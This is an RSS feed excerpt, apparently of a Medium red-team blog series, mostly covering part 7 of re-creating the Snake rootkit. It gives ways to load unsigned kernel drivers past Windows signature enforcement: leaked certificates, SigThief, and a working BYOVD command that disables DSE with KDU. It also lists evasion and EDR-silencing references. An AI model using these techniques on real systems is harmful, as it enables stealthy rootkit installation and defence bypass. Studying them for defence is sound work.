shellcodes via Shannon encoding — </strong><a href="https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/">https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/</a></li><li><strong>[003] — Building a custom Mimikatz binary — </strong><a href="https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/">https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/</a></li><li><strong>[004] — What is encryption? —</strong> <a href="https://cloud.google.com/learn/what-is-encryption">https://cloud.google.com/learn/what-is-encryption</a></li><li><strong>[005] — RunPE: How to hide code behind a legit process — </strong><a href="https://www.adlice.com/runpe-hide-code-behind-legit-process/">https://www.adlice.com/runpe-hide-code-behind-legit-process/</a></li><li><strong>[006] — Process Hollowing, RunPE — </strong><a href="https://unprotect.it/technique/process-hollowing-runpe/">https://unprotect.it/technique/process-hollowing-runpe/</a></li><li><strong>[007] — PE Injection </strong>— <a href="https://unprotect.it/technique/pe-injection/">https://unprotect.it/technique/pe-injection/</a></li><li><strong>[008] — Joe sandbox </strong>— <a href="https://www.joesandbox.com/#windows">https://www.joesandbox.com/#windows</a></li><li><strong>[009] — ANY.RUN —</strong> <a href="https://any.run/">https://any.run/</a></li><li><strong>[010] — Virus total —</strong> <a href="https://www.virustotal.com/gui/home/upload">https://www.virustotal.com/gui/home/upload</a></li><li><strong>[011] — Checking Memory Size —</strong> <a href="https://unprotect.it/technique/checking-memory-size/">https://unprotect.it/technique/checking-memory-size/</a></li><li><strong>[012] — RDTSCP —</strong> <a href="https://unprotect.it/technique/rdtscp/">https://unprotect.it/technique/rdtscp/</a></li><li><strong>[013] — Windows API Hooking —</strong> <a href="https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++">https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++</a></li><li><strong>[014] — Event Tracing for Windows (ETW) — </strong><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-">https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-</a></li><li><strong>[015] — Uncovering Windows Events — Jonathan Johnson — </strong><a href="https://jsecurity101.medium.com/uncovering-windows-events-b4b9db7eac54">https://jsecurity101.medium.com/uncovering-windows-events-b4b9db7eac54</a></li><li><strong>[016] — Introduction into Microsoft Threat Intelligence Drivers (ETW-TI) — meekochii — </strong><a href="https://research.meekolab.com/introduction-into-microsoft-threat-intelligence-drivers-etw-ti">https://research.meekolab.com/introduction-into-microsoft-threat-intelligence-drivers-etw-ti</a></li><li><strong>[017] — Sysmon —</strong> <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon</a></li><li><strong>[018] — Patching Event Tracing for Windows (ETW) in C# — </strong><a href="https://www.phrack.me/tools/2023/04/10/Patching-ETW-in-C.html">https://www.phrack.me/tools/2023/04/10/Patching-ETW-in-C.html</a></li><li><strong>[019] — Direct Syscalls: A journey from high to low — Daniel Feichter</strong> <a href="http://twitter.com/VirtualAllocEx">@VirtualAllocEx</a> — <a href="https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low">https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low</a></li><li><strong>[020]</strong> — <a href="https://github.com/TierZeroSecurity/edr_blocker">https://github.com/TierZeroSecurity/edr_blocker</a></li><li><strong>[021] — S3cur3Th1sSh1t/Nim-RunPE — </strong><a href="https://github.com/S3cur3Th1sSh1t/Nim-RunPE/blob/main/NimRunPE.nim">https://github.com/S3cur3Th1sSh1t/Nim-RunPE/blob/main/NimRunPE.nim</a></li><li><strong>[022] — Helixo32/NimReflectiveLoader — </strong><a href="https://github.com/Helixo32/NimReflectiveLoader/blob/main/src/RunRemoteDll.nim">https://github.com/Helixo32/NimReflectiveLoader/blob/main/src/RunRemoteDll.nim</a></li><li><strong>[023] — aaaddress1/RunPE-In-Memory — </strong><a href="https://github.com/aaaddress1/RunPE-In-Memory/blob/master/RunPE-In-Memory/RunPEinMemory/fixIAT.hpp">https://github.com/aaaddress1/RunPE-In-Memory/blob/master/RunPE-In-Memory/RunPEinMemory/fixIAT.hpp</a></li><li><strong>[024] — OffensiveNim /encrypt_decrypt_bin.nim — </strong><a href="https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim">https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim</a></li><li><strong>[025] — OffensiveNim</strong> — <a href="https://github.com/byt3bl33d3r/OffensiveNim">https://github.com/byt3bl33d3r/OffensiveNim</a></li><li><strong>[026] — nimcrypt2 — icyguider - </strong><a href="https://github.com/icyguider/Nimcrypt2/tree/main">https://github.com/icyguider/Nimcrypt2/tree/main</a></li><li><strong>[027] — Writing a Packer From Scratch in Nim — 0x0vid — </strong><a href="https://medium.com/p/460b5b3692e0">https://medium.com/p/460b5b3692e0</a></li><li><strong>[028] — Simplifying Cyber Defense: How to Configure Attack Surface Reduction Rules with PowerShell — Kaido Järvemets — </strong><a href="https://kaidojarvemets.com/simplifying-cyber-defense-how-to-configure-attack-surface-reduction-with-powershell/">https://kaidojarvemets.com/simplifying-cyber-defense-how-to-configure-attack-surface-reduction-with-powershell/</a></li><li><strong>[029] — Applications that can bypass App Control and how to block them </strong>— <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol">https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol</a></li><li><strong>[030] — Essential Eight application control — </strong><a href="https://learn.microsoft.com/en-us/compliance/anz/e8-app-control">https://learn.microsoft.com/en-us/compliance/anz/e8-app-control</a></li><li><strong>[031] </strong>— <a href="https://learn.microsoft.com/en-us/windows/win32/api/utilapiset/nf-utilapiset-beep">https://learn.microsoft.com/en-us/windows/win32/api/utilapiset/nf-utilapiset-beep</a></li><li><strong>[032] — EDRSilencer —</strong> <a href="https://github.com/netero1010/EDRSilencer">https://github.com/netero1010/EDRSilencer</a></li><li><strong>[033] — Evading CrowdStrike Falcon Using Entropy —</strong> <a href="https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/">https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/</a></li><li><strong>[034] — The more predictable you are, the less you get detected — hiding malicious shellcodes via Shannon encoding-</strong> <a href="https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/">https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/</a></li></ul><h4>Other references:</h4><ul><li><strong>Definition: What is a trojan horse — </strong><a href="https://www.techtarget.com/searchsecurity/definition/Trojan-horse">https://www.techtarget.com/searchsecurity/definition/Trojan-horse</a></li><li><strong>A dive into the PE file format — Introduction — 0xRick — </strong><a href="https://0xrick.github.io/win-internals/pe1/">https://0xrick.github.io/win-internals/pe1/</a></li><li><strong>PE Data Directories —</strong> <a href="https://offwhitesecurity.dev/malware-development/portable-executable-pe/nt-headers/optional-header/data-directories/">https://offwhitesecurity.dev/malware-development/portable-executable-pe/nt-headers/optional-header/data-directories/</a></li><li><strong>VirtualAlloc —</strong> <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc</a></li><li><strong>Process Hollowing and Portable Executable Relocations — </strong><a href="https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation">https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation</a></li><li><strong>Reflective DLL Injection —</strong> <a href="https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection#resolving-import-address-table">https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection#resolving-import-address-table</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e5ed2196ccd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Re-creating the Snake Rootkit Part 007: Rootkit Installation]]></title>
            <link>https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-007-rootkit-installation-232f49332f78?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/232f49332f78</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[rootkit]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Tue, 08 Oct 2024 15:27:38 GMT</pubDate>
            <atom:updated>2024-10-08T15:27:38.291Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*2mkdffqrG8PIMhu5.jpg" /><figcaption>Source: <a href="https://pixels.com/featured/snake-under-x-ray-guy-viner.html">https://pixels.com/featured/snake-under-x-ray-guy-viner.html</a></figcaption></figure><p><strong>TL;DR — Patching DSE is neat and doable using BYOVD</strong></p><p><em>Obligatory disclaimer: All of the information presented here is for research purposes and should only be used in a legitimate and legal manner, the author will not be held responsible for any misdoings or illegal activities.</em></p><h3>— [ 0. Table of contents</h3><p>0. Table of contents<br>1. introduction<br>2. Defences<br> — [ 2.1. Digital Signature Enforcement (DSE)<br> — [ 2.2. Hypervisor-protected Code Integrity (HVCI)<br> — [ 2.3. Virtualization-Based Security (VBS)<br> — [ 2.4. Kernel Address Space Layout Randomization (KASLR)<br> — [ 2.5. Windows Defender Application Control (WDAC)<br> — [ 2.6. Patch Guard<br> — [ 2.7. Getting the lay of the land: Enumerating defences<br>3. The Driver<br> — [ 3.1. Trying to install an unsigned driver<br>4. Installation Methods<br> — [ 4.1. Use leaked/stolen certificate<br> — [ 4.2. Using certificates where passwords can be cracked<br> — [ 4.3. Use invalid signature with SigTheif [Does not work]<br> — -[ 4.3.1. Trying it out<br> — [ 4.4. Disable Driver Signature Enforcement (DSE)<br> — — [ 4.4.1. Trying it out<br> — [ 4.5. Reflective Loading Using Signed Vulnerable Driver (BYOVD)<br> — [ 4.6. Forge signature timestamps [ I could not get working]<br> — [ 4.7. Changing Windows to use pre-1607 driver signing behaviour [Does not work]<br> — -[ 4.7.1. Trying it out<br>5. Pros and Cons<br>6. Conclusion<br>7. References<br> — [ 7.1. Other references</p><h3>— [ 1. introduction</h3><p>In today&#39;s post, we are going to be tackling a critical part of our rootkit, installation! At this point, we have some basic functionality down. We have a rootkit that can intercept HTTP communications. The rootkit can inject dll’s into spawned processes, and it can interact with userland components. For userland components we have a way of communicating with our rootkit (IOCTL), we have a virtual file system, and lastly, we have a stealthy way of installing persistence! I still have a bunch of features left to implement for both the rootkit and userland component, but before we get that far we have a fundamental question that needs answering. How will we load and run our rootkit? Since we can&#39;t expect servers to be running in test mode with Digital Signature Enforcement (DSE) disabled, we will need to find a way around this.</p><p>This post will cover the following topics: defences against rootkits, ways of bypassing these defences (some that work and some that don&#39;t), and finally an overview of each bypass method with pros and cons!</p><h3>— [ 2. Defences</h3><p>Starting off we will briefly go through some of the defensive measures in place to prevent us from installing our rootkit.</p><h4>— — [ 2.1. Digital Signature Enforcement (DSE)</h4><p>In an effort to minimize the threat posed by rootkits and make installing these increasingly difficult Microsoft introduced Digital Signature Enforcement (DSE), this meant that if you want to install a driver on a system it must be signed by the Hardware Dev centre. In addition to this Microsoft has also rolled out a blocklist feature for MS Defender that prevents the drivers in the list from being loaded by the system.</p><h4>— — [ 2.2. Hypervisor-protected Code Integrity (HVCI)</h4><p>Hypervisor-protected Code Integrity (HVCI), also known as Memory Integrity (originally part of Device Guard), is a technology that creates a hypervisor for the Windows kernel. This isolated environment assumes that the OS kernel can be compromised and thus protects it by ensuring the integrity of the code running within this hypervisor. This is done through a series of integrity checks for memory pages in the kernel. Only after these checks are done does HVCI allow the page to become executable<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard"> [001]</a>.</p><h4>— — [ 2.3. Virtualization-Based Security (VBS)</h4><p>Virtualization Based Security (VBS) set of requirements for various kernel security features to be installed and configured properly, these include: HVCI, Secure Boot, UEFI etc. <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">[002]</a>.</p><h4>— — [ 2.4. Kernel Address Space Layout Randomization (KASLR)</h4><p>It is the same as ASLR but in the kernel… <a href="https://www.ibm.com/docs/en/linux-on-systems?topic=shutdown-kaslr">[003]</a>.</p><h4>— — [ 2.5. Windows Defender Application Control (WDAC)</h4><p>Windows Defender Application Control (WDAC) is a security feature for Windows that, much like AppLocker, limits what applications and drivers can be run on the device. An example of this is the Microsoft recommended blocklist for drivers<a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules"> [004]</a>. WDAC can be made tamper proof by utilizing signed policies <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/use-signed-policies-to-protect-appcontrol-against-tampering">[005]</a>. An example of how this can be used to protect a system from Bring Your Own Vulnerable Driver (BYOVD) attacks, is by explicitly specifying the drivers that are allowed to run on a given system.</p><h4>— — [ 2.6. Patch Guard</h4><p>Kernel Patch Protection (KPP) also known as Patch Guard is a Windows feature that aims to protect the kernel against unauthorized modifications <a href="https://en.wikipedia.org/wiki/Kernel_Patch_Protection">[006]</a>. It works by checking the integrity of the kernel at random intervals.</p><p>Since Patch Guard scans memory at random intervals, we can use this time window to for example patch critical functions, which allows us to install our driver of choice. <a href="https://github.com/emlinhax/dse_hook">Then after the driver is installed, we can unpatch our changes avoiding a BSOD [007].</a></p><h4>— — [ 2.7. Getting the lay of the land: Enumerating defences</h4><p>The task of enumerating these defences is quite easy by querying CMI. The following query is made in PowerShell and below is a table detailing the possible outputs <a href="https://learn.microsoft.com/en-us/answers/questions/536416/checking-microsoft-defender-application-control-is">[008]</a><a href="https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html">[009]</a>.</p><pre>Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard</pre><p>Values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TRIVP3UoAw1beKtkhkqFyw.png" /><figcaption>Kernel protection values, source: <a href="https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html">https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html</a></figcaption></figure><h3>— [ 3. The Driver</h3><p>simple driver all it does is spring “Hello World” on startup. See<a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-002-starting-on-the-kernel-driver-poc-36f5d231f998"> [010] </a>for more.</p><pre>// Driver.c<br>#include &lt;ntddk.h&gt;<br>#include &lt;wdf.h&gt;<br><br>DRIVER_INITIALIZE DriverEntry;<br>EVT_WDF_DRIVER_DEVICE_ADD KmdfHelloWorldEvtDeviceAdd;<br><br>NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {<br>    UNREFERENCED_PARAMETER(driverObject);<br><br>    KdPrint((&quot;Goodbye World!\n&quot;));<br>    return STATUS_SUCCESS;<br>}<br><br>NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {<br>    UNREFERENCED_PARAMETER(registryPath);<br><br>    KdPrint((&quot;Hello World!\n&quot;));<br>    driverObject-&gt;DriverUnload = DriverUnload;<br><br>    return STATUS_SUCCESS;<br>}</pre><p>Short note on “kdPrint” <a href="https://stackoverflow.com/questions/63256262/debugview-doesnt-capture-kdprint-output/63270584#63270584">[011]</a> it won&#39;t work if the driver is compiled as release.</p><h4>— — [ 3.1. Trying to install an unsigned driver</h4><p>To verify that we can&#39;t just install our newly compiled driver let&#39;s try installing and running it as is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*SYNTDxtPE_sEyrFvClGHbg.png" /><figcaption>Installing unsigned driver</figcaption></figure><p>As expected it does not work.</p><h3>— [ 4. Installation Methods</h3><p>Now that we have a bit of a better understanding of what we are up against, let&#39;s look into ways of getting around this. For all of these, we assume that the machine is using the standard Windows settings i.e. no HVCI</p><h4>— —[ 4.1. Use leaked/stolen certificate</h4><p>The first option is to simply use a valid EV code signing certificate. This is the same process as legitimate software uses. The risk here is that this certificate might be marked as compromised and therefore either won&#39;t work or will cause an alert for people monitoring the environment <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/587763-sign-kernel-driver-leaked-certificate.html">[012]</a><a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/215281-driversigner-certs-sign-drivers.html">[013]</a>.</p><p>I was unable to do this since I could not find a leaked EV code signing certificate :(</p><h4>— — [ 4.2. Using certificates where passwords can be cracked</h4><p>In this scenario, we will simply go looking on the internet for a valid certificate that we can use to sign out software <a href="https://tij.me/blog/finding-and-utilising-leaked-code-signing-certificates/">[014]</a> <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/587763-sign-kernel-driver-leaked-certificate.html">[012]</a>.</p><p>This is the same as the one before just with some added steps. This might be more stealthy since it does not rely on certificates that might already be marked as compromised. Again I was unable to obtain an EV certificate.</p><h4>— — [ 4.3. Use invalid signature with SigTheif [Does not work]</h4><p>We are going to rip the signature from one file and then apply it to our driver, this will of course, not be valid <a href="https://github.com/secretsquirrel/SigThief">[015]</a>.</p><p><strong>— — — [ 4.3.1. Trying it out</strong></p><pre>PS E:\tools&gt; python .\sigthief.py -i C:\Windows\System32\drivers\tap0901.sys -t \HelloWorldDriver.sys -o \HelloWorldDriverSigTheif.sys<br><br><br>!! New Version available now for Dev Tier Sponsors! Sponsor here: https://github.com/sponsors/secretsquirrel<br><br><br>Output file: .\HelloWorldDriverSigTheif.sys<br>Signature appended.<br>FIN.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*LFSPZlgBxb_7PaE2YQs47Q.png" /><figcaption>Invalid signed driver</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*HJgRTCqdrTnM_TKPkoV1rw.png" /><figcaption>Driver is not allowed to run</figcaption></figure><h4>— — [ 4.4. Disable Driver Signature Enforcement (DSE)</h4><p>For this method, we will simply disable DSE in memory, and then we do not need to sign our driver to get it loaded <a href="https://vu.ls/blog/byovd-protection-is-a-lie/">[016]</a>. To disable DSE I will use the <a href="https://github.com/hfiref0x/KDU">Kernel Driver Utility (KDU) project [017]</a>. This project contains a bunch of different vulnerable drivers and exploits code for performing various actions. To understand how KDU changes the value of DSE to 0 let&#39;s look at the “dsefix.cpp” file. It first finds the address of the CI (Code Integrity) variable, this varies based on Windows NT version but is done by looking for patterns in ntoskrnl.exe or ci.dll. Then the variable at the address is simply updated with the desired value, in our case 0. KDU uses CVE-2019–16098 which is an arbitrary read/write vulnerability in RTCore64.sys, but any other arbitrary write vulnerability could be used. Other references <a href="https://blog.nviso.eu/2022/01/10/kernel-karnage-part-8-getting-around-dse/">[018]</a> <a href="https://github.com/zeze-zeze/CYBERSEC2023-BYOVD-Demo/tree/master">[019]</a> <a href="https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering">[020]</a>.</p><p>The command is very simple, just make sure that kdu.exe and drv64.dll are located in the same folder.</p><pre>kdu -prv 1 -dse 0</pre><p><strong>— — — [ 4.4.1. Trying it out</strong></p><p>Exploiting this is as simple as running kdu with the command above and then just creating and running a service for our unsigned driver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vEWH1GoUWEr_kvTsxV6UQ.png" /><figcaption>BYOVD disable DSE</figcaption></figure><h4>— — [ 4.5. Reflective Loading Using Signed Vulnerable Driver (BYOVD)</h4><p>Yes, you heard right, we will use a vulnerable driver to install our own driver! The approach here is more or less identical to how a traditional packer/crypter works: Load the imports, update the relocations, and then transfer execution <a href="https://github.com/Professor-plum/Reflective-Driver-Loader">[021]</a>. KDU does also support this <a href="https://github.com/hfiref0x/KDU">[017]</a>.</p><p>From <a href="https://github.com/Professor-plum/Reflective-Driver-Loader">[021]</a>:</p><blockquote>Due to unusual way of loading that is not involving standard kernel loader, but uses overwriting already loaded modules with shellcode, there are some limitations:</blockquote><blockquote>- Loaded drivers MUST BE specially designed to run as “driverless”;</blockquote><blockquote>That mean you cannot use parameters specified at your DriverEntry as they won’t be valid. That also mean you can not load <em>any</em> drivers but only specially designed or you need to alter shellcode responsible for driver mapping.</blockquote><blockquote>- No SEH support for target drivers;</blockquote><blockquote>There is no SEH code in x64. Instead of this you have table of try/except/finally regions which must be in the executable image described by pointer in PE header. If there is an exception occurred system handler will first look in which module that happened. Mapped drivers are not inside Windows controlled list of drivers (PsLoadedModulesList — PatchGuard protected), so nothing will be found and system will simple crash.</blockquote><blockquote>- No driver unloading;</blockquote><blockquote>Mapped code can’t unload itself, however you still can release all resources allocated by your mapped code. DRIVER_OBJECT-&gt;DriverUnload should be set to NULL.</blockquote><blockquote>- Only ntoskrnl import resolved, everything else is up to you;</blockquote><blockquote>If your project need another module dependency then you have to rewrite this loader part.</blockquote><blockquote>- Several Windows primitives are banned by PatchGuard from usage from the dynamic code.</blockquote><blockquote>Because of unsual way of loading mapped driver won’t be inside PsLoadedModulesList. That mean any callback registered by such code will have handler located in memory outside this list. PatchGuard has ability to check whatever the registered callbacks point to valid loaded modules or not and BSOD with “Kernel notification callout modification” if such dynamic code detected.</blockquote><p>Due to the limitations of this kind of shellcode i will not be trying it out as i will not be using this method.</p><h4>— — [ 4.6. Forge signature timestamps [ I could not get working]</h4><p>The main idea with this method is that we use an old leaked certificate and then sign our driver with that, forging the timestamp to make it seem like the driver was signed before DSE was a thing, and thereby bypass the signature requirements. I tried the tools below and various other methods but was unable to get a PoC of this method working. all the tools below work on the same principle: Hook the certificate time verification calls of different libraries and make them show expired and revoked certificates as valid <a href="https://signmycode.com/blog/windows-policy-loophole-old-certificate-new-signature-windows-kernel-cyber-threat">[022]</a> <a href="https://blog.talosintelligence.com/old-certificate-new-signature/">[023]</a>.</p><ul><li>PastDSE — <a href="https://github.com/utoni/PastDSE">https://github.com/utoni/PastDSE</a></li><li>HookSigntool — <a href="https://github.com/Jemmy1228/HookSigntool">https://github.com/Jemmy1228/HookSigntool</a></li><li>MagicSigner — <a href="https://github.com/namazso/MagicSigner">https://github.com/namazso/MagicSigner</a></li><li>FuckCertVerifyTimeValidity — <a href="https://github.com/hzqst/FuckCertVerifyTimeValidity">https://github.com/hzqst/FuckCertVerifyTimeValidity</a></li><li>sign-expired — <a href="https://github.com/mathisvickie/sign-expired">https://github.com/mathisvickie/sign-expired</a></li><li>SignToolEx — <a href="https://github.com/hackerhouse-opensource/SignToolEx">https://github.com/hackerhouse-opensource/SignToolEx</a></li></ul><h4>— — [ 4.7. Changing Windows to use pre-1607 driver signing behaviour [Does not work]</h4><p>The theory here is that if we set the system to use behaviours from before DSE was a thing then we do not need to sign our drivers <a href="https://www.geoffchappell.com/notes/security/whqlsettings/index.htm">[024]</a>. To get this working we would simply need to set the UpgradedSystem and BootUpgradedSystem registry values. This would be quite convenient as this would skip the need for messing with kernel modules and could potentially be done stealthily by patching the editing process ETW.</p><p><strong>— — — [ 4.7.1. Trying it out</strong></p><p>I tried setting the registry values, restarting the system etc. but i was unable to get this method to work on an updated windows 11 VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*AQDyIJc-6kGtJVrNuRXAfQ.png" /><figcaption>Pre-1607 registry values</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*fOw5xgrV6ItQ7u0MBysmfg.png" /><figcaption>We are still nto allowed to load the driver</figcaption></figure><h3>— [ 5. Pros and Cons</h3><p>Now that we have a good idea of the different options for getting our rootkit running let&#39;s look at the pros and cons of each:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kss3bJua9gLvNYHO5fFfWg.png" /><figcaption>Installation pros and cons</figcaption></figure><p>Each of the different methods has points for and against. But after thinking the use cases through I came to the following conclusions:</p><ul><li>I like not having to deal with reflectively loading the rootkit. Because we are dealing with kernel level code the possibility and potential consequences of errors here are quite big. Therefore I have a general aim of keeping kernel code to a minimum.</li><li>Also using exploits means that if one of the drivers used gets flagged, this does not immediately lead to the compromise of all agents. If we were to use a single certificate for all agents. then the discovery of one would likely mean that they would all be uncovered.</li><li>Finding useful certificates to use also proved quite difficult.</li></ul><p>Based on these considerations I have decided that this project will be making use of a vulnerable driver (BYOVD) to disable DSE. Then install the rootkit. And after installation, Reenable DSE to avoid memory integrity issues.</p><h3>— [ 6. Conclusion</h3><p>In conclusion, over the last couple of years, Microsoft has made it much more difficult to get rootkits installed and running. However, as long as there are vulnerable drivers and exploits we will be able to install our rootkits! Now we have one of the core pieces of functionality figured out. In my next post, I will go through how one of these arbitrary write exploits works in practice and create my own exploit code.</p><h3>— [ 7. References</h3><ul><li><strong>[001]</strong> — Device and credential guard documentation from MS — <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard</a></li><li><strong>[002] </strong>— Virtualization-Based Security (VBS) — <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs</a></li><li><strong>[003] </strong>— KASLR — <a href="https://www.ibm.com/docs/en/linux-on-systems?topic=shutdown-kaslr">https://www.ibm.com/docs/en/linux-on-systems?topic=shutdown-kaslr</a></li><li><strong>[004]</strong> — MS Recommended driver block list — <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules">https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules</a></li><li><strong>[005] </strong>— WDAC signed policies — <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/use-signed-policies-to-protect-appcontrol-against-tampering">https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/use-signed-policies-to-protect-appcontrol-against-tampering</a></li><li><strong>[006] </strong>— Patch Guard Wiki — <a href="https://en.wikipedia.org/wiki/Kernel_Patch_Protection">https://en.wikipedia.org/wiki/Kernel_Patch_Protection</a></li><li><strong>[007]</strong> — DSE hook — <a href="https://github.com/emlinhax/dse_hook">https://github.com/emlinhax/dse_hook</a></li><li><strong>[008] </strong>— Enumerating WDAC — <a href="https://learn.microsoft.com/en-us/answers/questions/536416/checking-microsoft-defender-application-control-is">https://learn.microsoft.com/en-us/answers/questions/536416/checking-microsoft-defender-application-control-is</a></li><li><strong>[009] </strong>— Enumerate kernel security controls — <a href="https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html">https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html</a></li><li><strong>[010] </strong>— Hello World driver — <a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-002-starting-on-the-kernel-driver-poc-36f5d231f998">https://medium.com/@0x0vid/re-creating-the-snake-malware-part-002-starting-on-the-kernel-driver-poc-36f5d231f998</a></li><li><strong>[011] </strong>— kdprint only works if the driver is compiled as debug — <a href="https://stackoverflow.com/questions/63256262/debugview-doesnt-capture-kdprint-output/63270584#63270584">https://stackoverflow.com/questions/63256262/debugview-doesnt-capture-kdprint-output/63270584#63270584</a></li><li><strong>[012]</strong> — Leaked cert 1 — <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/587763-sign-kernel-driver-leaked-certificate.html">https://www.unknowncheats.me/forum/anti-cheat-bypass/587763-sign-kernel-driver-leaked-certificate.html</a></li><li><strong>[013]</strong> — Leaked cert 2 — <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/215281-driversigner-certs-sign-drivers.html">https://www.unknowncheats.me/forum/anti-cheat-bypass/215281-driversigner-certs-sign-drivers.html</a></li><li><strong>[014]</strong> — Using cracked certificates to sign code — <a href="https://tij.me/blog/finding-and-utilising-leaked-code-signing-certificates/">https://tij.me/blog/finding-and-utilising-leaked-code-signing-certificates/</a></li><li><strong>[015]</strong> — SigTheif GitHub — <a href="https://github.com/secretsquirrel/SigThief">https://github.com/secretsquirrel/SigThief</a></li><li><strong>[016]</strong> — BYOVD protection is a lie — <a href="https://vu.ls/blog/byovd-protection-is-a-lie/">https://vu.ls/blog/byovd-protection-is-a-lie/</a></li><li><strong>[017] </strong>— Kernel Driver Utility — KDU — <a href="https://github.com/hfiref0x/KDU">https://github.com/hfiref0x/KDU</a></li><li><strong>[018]</strong> — Getting around DSE — <a href="https://blog.nviso.eu/2022/01/10/kernel-karnage-part-8-getting-around-dse/">https://blog.nviso.eu/2022/01/10/kernel-karnage-part-8-getting-around-dse/</a></li><li><strong>[019] </strong>— CYBERSEC2023 BYOVD Demo — <a 